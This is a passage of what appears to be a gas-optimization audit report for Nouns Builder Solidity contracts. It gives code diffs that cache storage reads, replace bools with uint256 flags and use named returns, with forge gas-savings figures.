    - 240     :-        (, , , , , bool settled) = auction.auction();
    +      240:+        (, , bool settled, , , ) = auction.auction();
    241, 241:
    242, 242:         assertEq(settled, true);
    243, 243:     }
    diff --git a/test/utils/NounsBuilderTest.sol b/test/utils/NounsBuilderTest.sol
    index cb17d6b..ccabc62 100644
    --- a/test/utils/NounsBuilderTest.sol
    +++ b/test/utils/NounsBuilderTest.sol
    @@ -240,7 +240,7 @@ contract NounsBuilderTest is Test {
    240, 240:
    241, 241:         unchecked {
    242, 242:             for (uint256 i; i < _numTokens; ++i) {
    - 243     :-                (uint256 tokenId, , , , , ) = auction.auction();
    +      243:+                (, , , , uint256 tokenId, ) = auction.auction();
    244, 244:
    245, 245:                 vm.prank(otherUsers[i]);
    246, 246:                 auction.createBid{ value: reservePrice }(tokenId);
  3. State variables should be cached in stack variables rather than re-reading them from storage (5 instances)

    Deployment Gas Saved: 70 505 Method Call Gas Saved: 2 634 forge snapshot --diff: 12 481 Gas Saved

    Caching of a state variable replaces each Gwarmaccess (100 gas) with a much cheaper stack read. Other less obvious fixes/optimizations include having local memory caches of state variable structs or having local caches of state variable contracts/addresses.

    SLOADs are expensive (100 gas after the 1st one) compared to MLOADs/MSTOREs (3 gas each). Storage values read multiple times should instead be cached in memory the first time (costing 1 SLOAD) and then read from this cache to avoid multiple SLOADs.

    function: _settleAuction: auction cached in 169 but readed from storage in 172 function: _handleOutgoingTransfer: IWETH(WETH) can be cached

    diff --git a/src/auction/Auction.sol b/src/auction/Auction.sol
    index 794da99..3ef53f5 100644
    --- a/src/auction/Auction.sol
    +++ b/src/auction/Auction.sol
    @@ -356,11 +356,13 @@ contract Auction is IAuction, UUPS, Ownable, ReentrancyGuard, Pausable, AuctionS
    356, 356:
    357, 357:         // If the transfer failed:
    358, 358:         if (!success) {
    +      359:+            IWETH iweth = IWETH(WETH);
    +      360:+
    359, 361:             // Wrap as WETH
    - 360     :-            IWETH(WETH).deposit{ value: _amount }();
    +      362:+            iweth.deposit{ value: _amount }();
    361, 363:
    362, 364:             // Transfer WETH instead
    - 363     :-            IWETH(WETH).transfer(_to, _amount);
    +      365:+            iweth.transfer(_to, _amount);
    364, 366:         }
    365, 367:     }
    366, 368:

    function proposalVotes: There is no need to copy proposals[_proposalId] to memory, because you reading every field exactly one time

    diff --git a/src/governance/governor/Governor.sol b/src/governance/governor/Governor.sol
    index 0d963c5..c8fb215 100644
    --- a/src/governance/governor/Governor.sol
    +++ b/src/governance/governor/Governor.sol
    @@ -505,9 +505,7 @@ contract Governor is IGovernor, UUPS, Ownable, EIP712, GovernorStorageV1 {
    505, 505:             uint256
    506, 506:         )
    507, 507:     {
    - 508     :-        Proposal memory proposal = proposals[_proposalId];
    - 509     :-
    - 510     :-        return (proposal.againstVotes, proposal.forVotes, proposal.abstainVotes);
    +      508:+        return (proposals[_proposalId].againstVotes, proposals[_proposalId].forVotes, proposals[_proposalId].abstainVotes);
    511, 509:     }
    512, 510:
    513, 511:     /// @notice The timestamp valid to execute a proposal

    function isReady: timestamps[_proposalId] can be cached

    diff --git a/src/governance/treasury/Treasury.sol b/src/governance/treasury/Treasury.sol
    index b78bc8c..ce94e3b 100644
    --- a/src/governance/treasury/Treasury.sol
    +++ b/src/governance/treasury/Treasury.sol
    @@ -86,7 +86,8 @@ contract Treasury is ITreasury, UUPS, Ownable, TreasuryStorageV1 {
    86,  86:     /// @notice If a proposal is ready to execute (does not consider expiration)
    87,  87:     /// @param _proposalId The proposal id
    88,  88:     function isReady(bytes32 _proposalId) public view returns (bool) {
    -  89     :-        return timestamps[_proposalId] != 0 && block.timestamp >= timestamps[_proposalId];
    +       89:+        uint256 timestamp = timestamps[_proposalId];
    +       90:+        return timestamp != 0 && block.timestamp >= timestamp;
    90,  91:     }
    91,  92:
    92,  93:     ///                                                          ///

    function _isForFounder: use storage pointer to founder

    diff --git a/src/token/Token.sol b/src/token/Token.sol
    index afad142..ef92fe6 100644
    --- a/src/token/Token.sol
    +++ b/src/token/Token.sol
    @@ -178,14 +178,16 @@ contract Token is IToken, UUPS, ReentrancyGuard, ERC721Votes, TokenStorageV1 {
    178, 178:         // Get the base token id
    179, 179:         uint256 baseTokenId = _tokenId % 100;
    180, 180:
    +      181:+        Founder storage _founder = tokenRecipient[baseTokenId];
    +      182:+
    181, 183:         // If there is no scheduled recipient:
    - 182     :-        if (tokenRecipient[baseTokenId].wallet == address(0)) {
    +      184:+        if (_founder.wallet == address(0)) {
    183, 185:             return false;
    184, 186:
    185, 187:             // Else if the founder is still vesting:
    - 186     :-        } else if (block.timestamp < tokenRecipient[baseTokenId].vestExpiry) {
    +      188:+        } else if (block.timestamp < _founder.vestExpiry) {
    187, 189:             // Mint the token to the founder
    - 188     :-            _mint(tokenRecipient[baseTokenId].wallet, _tokenId);
    +      190:+            _mint(_founder.wallet, _tokenId);
    189, 191:
    190, 192:             return true;
    191, 193:

    function _getItemImage: complex expression can be cached as storage pointer

    diff --git a/src/token/metadata/MetadataRenderer.sol b/src/token/metadata/MetadataRenderer.sol
    index 7a140ec..6640988 100644
    --- a/src/token/metadata/MetadataRenderer.sol
    +++ b/src/token/metadata/MetadataRenderer.sol
    @@ -253,10 +253,11 @@ contract MetadataRenderer is IPropertyIPFSMetadataRenderer, UUPS, Ownable, Metad
    253, 253:
    254, 254:     /// @dev Encodes the reference URI of an item
    255, 255:     function _getItemImage(Item memory _item, string memory _propertyName) private view returns (string memory) {
    +      256:+        IPFSGroup storage _ipfsData = ipfsData[_item.referenceSlot];
    256, 257:         return
    257, 258:             UriEncode.uriEncode(
    258, 259:                 string(
    - 259     :-                    abi.encodePacked(ipfsData[_item.referenceSlot].baseUri, _propertyName, "/", _item.name, ipfsData[_item.referenceSlot].extension)
    +      260:+                    abi.encodePacked(_ipfsData.baseUri, _propertyName, "/", _item.name, _ipfsData.extension)
    260, 261:                 )
    261, 262:             );
    262, 263:     }
  4. Using bools for storage incurs overhead (5 instances)

    Deployment Gas Saved: 60 668 Avg. Method Call Gas Saved: 1 191 forge snapshot --diff: 9 748 Gas Saved

    // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled.

    Use uint256(1) and uint256(2) for true/false to avoid a Gwarmaccess (100 gas) for the extra SLOAD, and to avoid Gsset (20000 gas) when changing from 'false' to 'true', after having been 'true' in the past

    NOTE: in some cases, usually in structs, this optimization can cause significant user gas loss, these cases are intentionally excluded from the report

    diff --git a/src/governance/governor/Governor.sol b/src/governance/governor/Governor.sol
    index 0d963c5..62506ae 100644
    --- a/src/governance/governor/Governor.sol
    +++ b/src/governance/governor/Governor.sol
    @@ -255,13 +255,13 @@ contract Governor is IGovernor, UUPS, Ownable, EIP712, GovernorStorageV1 {
      255, 255:         if (state(_proposalId) != ProposalState.Active) revert VOTING_NOT_STARTED();
      256, 256:
      257, 257:         // Ensure the voter hasn't already voted
    - 258     :-        if (hasVoted[_proposalId][_voter]) revert ALREADY_VOTED();
    +      258:+        if (1==hasVoted[_proposalId][_voter]) revert ALREADY_VOTED();
      259, 259:
      260, 260:         // Ensure the vote is valid
      261, 261:         if (_support > 2) revert INVALID_VOTE();
      262, 262:
      263, 263:         // Record the voter as having voted
    - 264     :-        hasVoted[_proposalId][_voter] = true;
    +      264:+        hasVoted[_proposalId][_voter] = 1;
      265, 265:
      266, 266:         // Get the pointer to the proposal
      267, 267:         Proposal storage proposal = proposals[_proposalId];
    diff --git a/src/governance/governor/storage/GovernorStorageV1.sol b/src/governance/governor/storage/GovernorStorageV1.sol
    index beff22e..25d7ff2 100644
    --- a/src/governance/governor/storage/GovernorStorageV1.sol
    +++ b/src/governance/governor/storage/GovernorStorageV1.sol
    @@ -16,5 +16,5 @@ contract GovernorStorageV1 is GovernorTypesV1 {
       16,  16:
       17,  17:     /// @notice If a user has voted on a proposal
       18,  18:     /// @dev Proposal Id => User => Has Voted
    -  19     :-    mapping(bytes32 => mapping(address => bool)) internal hasVoted;
    +       19:+    mapping(bytes32 => mapping(address => uint256)) internal hasVoted;
       20,  20: }
    diff --git a/src/lib/token/ERC721.sol b/src/lib/token/ERC721.sol
    index 36a4bed..5808613 100644
    --- a/src/lib/token/ERC721.sol
    +++ b/src/lib/token/ERC721.sol
    @@ -35,7 +35,7 @@ abstract contract ERC721 is IERC721, Initializable {
       35,  35:
       36,  36:     /// @notice The balance approvals
       37,  37:     /// @dev Owner => Operator => Approved
    -  38     :-    mapping(address => mapping(address => bool)) internal operatorApprovals;
    +       38:+    mapping(address => mapping(address => uint256)) internal operatorApprovals;
       39,  39:
       40,  40:     ///                                                          ///
       41,  41:     ///                           FUNCTIONS                      ///
    @@ -75,7 +75,7 @@ abstract contract ERC721 is IERC721, Initializable {
       75,  75:     /// @param _owner The owner address
       76,  76:     /// @param _operator The operator address
       77,  77:     function isApprovedForAll(address _owner, address _operator) external view returns (bool) {
    -  78     :-        return operatorApprovals[_owner][_operator];
    +       78:+        return 1==operatorApprovals[_owner][_operator];
       79,  79:     }
       80,  80:
       81,  81:     /// @notice The number of tokens owned
    @@ -102,7 +102,7 @@ abstract contract ERC721 is IERC721, Initializable {
      102, 102:     function approve(address _to, uint256 _tokenId) external {
      103, 103:         address owner = owners[_tokenId];
      104, 104:
    - 105     :-        if (msg.sender != owner && !operatorApprovals[owner][msg.sender]) revert INVALID_APPROVAL();
    +      105:+        if (msg.sender != owner && 0==operatorApprovals[owner][msg.sender]) revert INVALID_APPROVAL();
      106, 106:
      107, 107:         tokenApprovals[_tokenId] = _to;
      108, 108:
    @@ -113,7 +113,7 @@ abstract contract ERC721 is IERC721, Initializable {
      113, 113:     /// @param _operator The account address
      114, 114:     /// @param _approved If permission is being given or removed
      115, 115:     function setApprovalForAll(address _operator, bool _approved) external {
    - 116     :-        operatorApprovals[msg.sender][_operator] = _approved;
    +      116:+        operatorApprovals[msg.sender][_operator] = _approved ? 1 : 0;
      117, 117:
      118, 118:         emit ApprovalForAll(msg.sender, _operator, _approved);
      119, 119:     }
    @@ -131,7 +131,7 @@ abstract contract ERC721 is IERC721, Initializable {
      131, 131:
      132, 132:         if (_to == address(0)) revert ADDRESS_ZERO();
      133, 133:
    - 134     :-        if (msg.sender != _from && !operatorApprovals[_from][msg.sender] && msg.sender != tokenApprovals[_tokenId]) revert INVALID_APPROVAL();
    +      134:+        if (msg.sender != _from && 0==operatorApprovals[_from][msg.sender] && msg.sender != tokenApprovals[_tokenId]) revert INVALID_APPROVAL();
      135, 135:
      136, 136:         _beforeTokenTransfer(_from, _to, _tokenId);
      137, 137:
    diff --git a/src/lib/utils/Pausable.sol b/src/lib/utils/Pausable.sol
    index 6057d6b..5d37ad7 100644
    --- a/src/lib/utils/Pausable.sol
    +++ b/src/lib/utils/Pausable.sol
    @@ -12,7 +12,7 @@ abstract contract Pausable is IPausable, Initializable {
       12,  12:     ///                                                          ///
       13,  13:
       14,  14:     /// @dev If the contract is paused
    -  15     :-    bool internal _paused;
    +       15:+    uint256 internal _paused;
       16,  16:
       17,  17:     ///                                                          ///
       18,  18:     ///                           MODIFIERS                      ///
    @@ -20,13 +20,13 @@ abstract contract Pausable is IPausable, Initializable {
       20,  20:
       21,  21:     /// @dev Ensures the contract is paused
       22,  22:     modifier whenPaused() {
    -  23     :-        if (!_paused) revert UNPAUSED();
    +       23:+        if (0==_paused) revert UNPAUSED();
       24,  24:         _;
       25,  25:     }
       26,  26:
       27,  27:     /// @dev Ensures the contract isn't paused
       28,  28:     modifier whenNotPaused() {
    -  29     :-        if (_paused) revert PAUSED();
    +       29:+        if (1==_paused) revert PAUSED();
       30,  30:         _;
       31,  31:     }
       32,  32:
    @@ -37,24 +37,24 @@ abstract contract Pausable is IPausable, Initializable {
       37,  37:     /// @dev Sets whether the initial state
       38,  38:     /// @param _initPause If the contract should pause upon initialization
       39,  39:     function __Pausable_init(bool _initPause) internal onlyInitializing {
    -  40     :-        _paused = _initPause;
    +       40:+        _paused = _initPause ? 1 : 0;
       41,  41:     }
       42,  42:
       43,  43:     /// @notice If the contract is paused
       44,  44:     function paused() external view returns (bool) {
    -  45     :-        return _paused;
    +       45:+        return _paused == 1;
       46,  46:     }
       47,  47:
       48,  48:     /// @dev Pauses the contract
       49,  49:     function _pause() internal virtual whenNotPaused {
    -  50     :-        _paused = true;
    +       50:+        _paused = 1;
       51,  51:
       52,  52:         emit Paused(msg.sender);
       53,  53:     }
       54,  54:
       55,  55:     /// @dev Unpauses the contract
       56,  56:     function _unpause() internal virtual whenPaused {
    -  57     :-        _paused = false;
    +       57:+        _paused = 0;
       58,  58:
       59,  59:         emit Unpaused(msg.sender);
       60,  60:     }
    diff --git a/src/manager/Manager.sol b/src/manager/Manager.sol
    index d1025ec..5e2a230 100644
    --- a/src/manager/Manager.sol
    +++ b/src/manager/Manager.sol
    @@ -178,14 +178,14 @@ contract Manager is IManager, UUPS, Ownable, ManagerStorageV1 {
      178, 178:     /// @param _baseImpl The base implementation address
      179, 179:     /// @param _upgradeImpl The upgrade implementation address
      180, 180:     function isRegisteredUpgrade(address _baseImpl, address _upgradeImpl) external view returns (bool) {
    - 181     :-        return isUpgrade[_baseImpl][_upgradeImpl];
    +      181:+        return 1==isUpgrade[_baseImpl][_upgradeImpl];
      182, 182:     }
      183, 183:
      184, 184:     /// @notice Called by the Builder DAO to offer implementation upgrades for created DAOs
      185, 185:     /// @param _baseImpl The base implementation address
      186, 186:     /// @param _upgradeImpl The upgrade implementation address
      187, 187:     function registerUpgrade(address _baseImpl, address _upgradeImpl) external onlyOwner {
    - 188     :-        isUpgrade[_baseImpl][_upgradeImpl] = true;
    +      188:+        isUpgrade[_baseImpl][_upgradeImpl] = 1;
      189, 189:
      190, 190:         emit UpgradeRegistered(_baseImpl, _upgradeImpl);
      191, 191:     }
    diff --git a/src/manager/storage/ManagerStorageV1.sol b/src/manager/storage/ManagerStorageV1.sol
    index 5d981ef..e566821 100644
    --- a/src/manager/storage/ManagerStorageV1.sol
    +++ b/src/manager/storage/ManagerStorageV1.sol
    @@ -7,5 +7,5 @@ pragma solidity 0.8.15;
        7,   7: contract ManagerStorageV1 {
        8,   8:     /// @notice If a contract has been registered as an upgrade
        9,   9:     /// @dev Base impl => Upgrade impl
    -  10     :-    mapping(address => mapping(address => bool)) internal isUpgrade;
    +       10:+    mapping(address => mapping(address => uint256)) internal isUpgrade;
       11,  11: }
    diff --git a/src/token/metadata/MetadataRenderer.sol b/src/token/metadata/MetadataRenderer.sol
    index 7a140ec..7976581 100644
    --- a/src/token/metadata/MetadataRenderer.sol
    +++ b/src/token/metadata/MetadataRenderer.sol
    @@ -136,7 +136,7 @@ contract MetadataRenderer is IPropertyIPFSMetadataRenderer, UUPS, Ownable, Metad
      136, 136:
      137, 137:                 // Offset the id if the item is for a new property
      138, 138:                 // Note: Property ids under the hood are offset by 1
    - 139     :-                if (_items[i].isNewProperty) {
    +      139:+                if (_items[i].isNewProperty == 1) {
      140, 140:                     _propertyId += numStoredProperties;
      141, 141:                 }
      142, 142:
    diff --git a/src/token/metadata/types/MetadataRendererTypesV1.sol b/src/token/metadata/types/MetadataRendererTypesV1.sol
    index c0890f6..4a3146b 100644
    --- a/src/token/metadata/types/MetadataRendererTypesV1.sol
    +++ b/src/token/metadata/types/MetadataRendererTypesV1.sol
    @@ -8,7 +8,7 @@ interface MetadataRendererTypesV1 {
        8,   8:     struct ItemParam {
        9,   9:         uint256 propertyId;
       10,  10:         string name;
    -  11     :-        bool isNewProperty;
    +       11:+        uint256 isNewProperty;
       12,  12:     }
       13,  13:
       14,  14:     struct IPFSGroup {
  5. Storage variable is used when local exists (2 instances)

    Deployment Gas Saved: 1 400 Method Call Gas Saved: 2 602 forge snapshot --diff: 41 326 Gas Saved

    function: _settleAuction: auction cached in 169 but readed from storage in 172

    diff --git a/src/auction/Auction.sol b/src/auction/Auction.sol
    index 794da99..3754f3b 100644
    --- a/src/auction/Auction.sol
    +++ b/src/auction/Auction.sol
    @@ -169,7 +169,7 @@ contract Auction is IAuction, UUPS, Ownable, ReentrancyGuard, Pausable, AuctionS
    169, 169:         Auction memory _auction = auction;
    170, 170:
    171, 171:         // Ensure the auction wasn't already settled
    - 172     :-        if (auction.settled) revert AUCTION_SETTLED();
    +      172:+        if (_auction.settled) revert AUCTION_SETTLED();
    173, 173:
    174, 174:         // Ensure the auction had started
    175, 175:         if (_auction.startTime == 0) revert AUCTION_NOT_STARTED();
    diff --git a/src/governance/governor/Governor.sol b/src/governance/governor/Governor.sol
    index 0d963c5..ce1ad1a 100644
    --- a/src/governance/governor/Governor.sol
    +++ b/src/governance/governor/Governor.sol
    @@ -125,7 +125,7 @@ contract Governor is IGovernor, UUPS, Ownable, EIP712, GovernorStorageV1 {
    125, 125:         // Cannot realistically underflow and `getVotes` would revert
    126, 126:         unchecked {
    127, 127:             // Ensure the caller's voting weight is greater than or equal to the threshold
    - 128     :-            if (getVotes(msg.sender, block.timestamp - 1) < proposalThreshold()) revert BELOW_PROPOSAL_THRESHOLD();
    +      128:+            if (getVotes(msg.sender, block.timestamp - 1) < currentProposalThreshold) revert BELOW_PROPOSAL_THRESHOLD();
    129, 129:         }
    130, 130:
    131, 131:         // Cache the number of targets
  6. Use named returns where appropriate (3 instances)

    Deployment Gas Saved: 2 000 Method Call Gas Saved: 174 forge snapshot --diff: 621 Gas Saved

    diff --git a/src/governance/governor/Governor.sol b/src/governance/governor/Governor.sol
    index 0d963c5..200a72a 100644
    --- a/src/governance/governor/Governor.sol
    +++ b/src/governance/governor/Governor.sol
    @@ -118,7 +118,7 @@ contract Governor is IGovernor, UUPS, Ownable, EIP712, GovernorStorageV1 {
    118, 118:         uint256[] memory _values,
    119, 119:         bytes[] memory _calldatas,
    120, 120:         string memory _description
    - 121     :-    ) external returns (bytes32) {
    +      121:+    ) external returns (bytes32 proposalId) {
    122, 122:         // Get the current proposal threshold
    123, 123:         uint256 currentProposalThreshold = proposalThreshold();
    124, 124:
    @@ -142,7 +142,7 @@ contract Governor is IGovernor, UUPS, Ownable, EIP712, GovernorStorageV1 {
    142, 142:         bytes32 descriptionHash = keccak256(bytes(_description));
    143, 143:
    144, 144:         // Compute the proposal id
    - 145     :-        bytes32 proposalId = hashProposal(_targets, _values, _calldatas, descriptionHash);
    +      145:+        proposalId = hashProposal(_targets, _values, _calldatas, descriptionHash);
    146, 146:
    147, 147:         // Get the pointer to store the proposal
    148, 148:         Proposal storage proposal = proposals[proposalId];
    @@ -170,8 +170,6 @@ contract Governor is IGovernor, UUPS, Ownable, EIP712, GovernorStorageV1 {
    170, 170:         proposal.timeCreated = uint32(block.timestamp);
    171, 171:
    172, 172:         emit ProposalCreated(proposalId, _targets, _values, _calldatas, _description, descriptionHash, proposal);
    - 173     :-
    - 174     :-        return proposalId;
    175, 173:     }
    176, 174:
    177, 175:     ///                                                          ///
    @@ -250,7 +248,7 @@ contract Governor is IGovernor, UUPS, Ownable, EIP712, GovernorStorageV1 {
    250, 248:         address _voter,
    251, 249:         uint256 _support,
    252, 250:         string memory _reason
    - 253     :-    ) internal returns (uint256) {
    +      251:+    ) internal returns (uint256 weight) {
    254, 252:         // Ensure voting is active
    255, 253:         if (state(_proposalId) != ProposalState.Active) revert VOTING_NOT_STARTED();
    256, 254:
    @@ -266,9 +264,6 @@ contract Governor is IGovernor, UUPS, Ownable, EIP712, GovernorStorageV1 {
    266, 264:         // Get the pointer to the proposal
    267, 265:         Proposal storage proposal = proposals[_proposalId];
    268, 266:
    - 269     :-        // Used to store the voter's weight
    - 270     :-        uint256 weight;
    - 271     :-
    272, 267:         // Cannot realistically underflow and `getVotes` would revert
    273, 268:         unchecked {
    274, 269:             // Get the voter's weight at the time the proposal was created
    @@ -292,8 +287,6 @@ contract Governor is IGovernor, UUPS, Ownable, EIP712, GovernorStorageV1 {
    292, 287:         }
    293, 288:
    294, 289:         emit VoteCast(_voter, _proposalId, _support, weight, _reason);
    - 295     :-
    - 296     :-        return weight;
    297, 290:     }
    298, 291:
    299, 292:     ///                                                          ///
    @@ -326,9 +319,9 @@ contract Governor is IGovernor, UUPS, Ownable, EIP712, GovernorStorageV1 {
    326, 319:         uint256[] calldata _values,
    327, 320:         bytes[] calldata _calldatas,
    328, 321:         bytes32 _descriptionHash
    - 329     :-    ) external payable returns (bytes32) {
    +      322:+    ) external payable returns (bytes32 proposalId) {
    330, 323:         // Get the proposal id
    - 331     :-        bytes32 proposalId = hashProposal(_targets, _values, _calldatas, _descriptionHash);
    +      324:+        proposalId = hashProposal(_targets, _values, _calldatas, _descriptionHash);
    332, 325:
    333, 326:         // Ensure the proposal is queued
    334, 327:         if (state(proposalId) != ProposalState.Queued) revert PROPOSAL_NOT_QUEUED(proposalId);
    @@ -340,8 +333,6 @@ contract Governor is IGovernor, UUPS, Ownable, EIP712, GovernorStorageV1 {
    340, 333:         settings.treasury.execute{ value: msg.value }(_targets, _values, _calldatas, _descriptionHash);
    341, 334:
    342, 335:         emit ProposalExecuted(proposalId);
    - 343     :-
    - 344     :-        return proposalId;
    345, 336:     }
    346, 337:
    347, 338:     ///                                                          ///
  7. Overall Gas Saved

    This is the result of merging all the fixes:

    Deployment Gas Saved: 341 027 Method Call Gas Saved: 10 231 forge snapshot --diff: 73 132 Gas Saved

    forge test --gas-report:

    ╭───────────────────────────────────────────────────────┬─────────────────┬────────┬────────┬────────┬─────────╮
    │ src/auction/Auction.sol:Auction contract              ┆                 ┆        ┆        ┆        ┆         │
    ╞═══════════════════════════════════════════════════════╪═════════════════╪════════╪════════╪════════╪═════════╡
    │ Deployment Cost                                       ┆ Deployment Size ┆        ┆        ┆        ┆         │
    ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤
    -│ 2278467                                               ┆ 11788           ┆        ┆        ┆        ┆         │
    +│ 2135690                                               ┆ 11068           ┆        ┆        ┆        ┆         │
    ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤
    │ Function Name                                         ┆ min             ┆ avg    ┆ median ┆ max    ┆ # calls │
    ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤
    -│ auction()(address)                                    ┆ 791             ┆ 791    ┆ 791    ┆ 791    ┆ 12      │
    +│ auction()(address)                                    ┆ 785             ┆ 785    ┆ 785    ┆ 785    ┆ 13      │
    ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤
    -│ auction()(uint256,uint256,address,uint40,uint40,bool) ┆ 791             ┆ 791    ┆ 791    ┆ 791    ┆ 23      │
    +│ auction()(uint40,uint40,bool,address,uint256,uint256) ┆ 785             ┆ 785    ┆ 785    ┆ 785    ┆ 22      │
    ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤
    -│ createBid                                             ┆ 4117            ┆ 15895  ┆ 11116  ┆ 28022  ┆ 71      │
    +│ createBid                                             ┆ 4004            ┆ 15823  ┆ 11118  ┆ 27947  ┆ 71      │
    ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤
    │ duration                                              ┆ 334             ┆ 334    ┆ 334    ┆ 334    ┆ 5       │
    ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤
    -│ initialize                                            ┆ 3058            ┆ 124851 ┆ 117699 ┆ 137599 ┆ 73      │
    +│ initialize                                            ┆ 3058            ┆ 124835 ┆ 117682 ┆ 137582 ┆ 73      │
    ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤
    -│ minBidIncrement                                       ┆ 389             ┆ 389    ┆ 389    ┆ 389    ┆ 2       │
    +│ minBidIncrement                                       ┆ 378             ┆ 378    ┆ 378    ┆ 378    ┆ 2       │
    ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤
    │ owner                                                 ┆ 363             ┆ 1029   ┆ 363    ┆ 2363   ┆ 3       │
    ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤
    -│ pause                                                 ┆ 1450            ┆ 1450   ┆ 1450   ┆ 1450   ┆ 4       │
    +│ pause                                                 ┆ 1356            ┆ 1356   ┆ 1356   ┆ 1356   ┆ 4       │
    ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤
    -│ paused                                                ┆ 382             ┆ 382    ┆ 382    ┆ 382    ┆ 2       │
    +│ paused                                                ┆ 379             ┆ 379    ┆ 379    ┆ 379    ┆ 2       │
    ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤
    │ reservePrice                                          ┆ 326             ┆ 1992   ┆ 2326   ┆ 2326   ┆ 6       │
    ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤
    -│ settleAuction                                         ┆ 3398            ┆ 49224  ┆ 49224  ┆ 95050  ┆ 2       │
    +│ settleAuction                                         ┆ 3398            ┆ 49226  ┆ 49226  ┆ 95055  ┆ 2       │
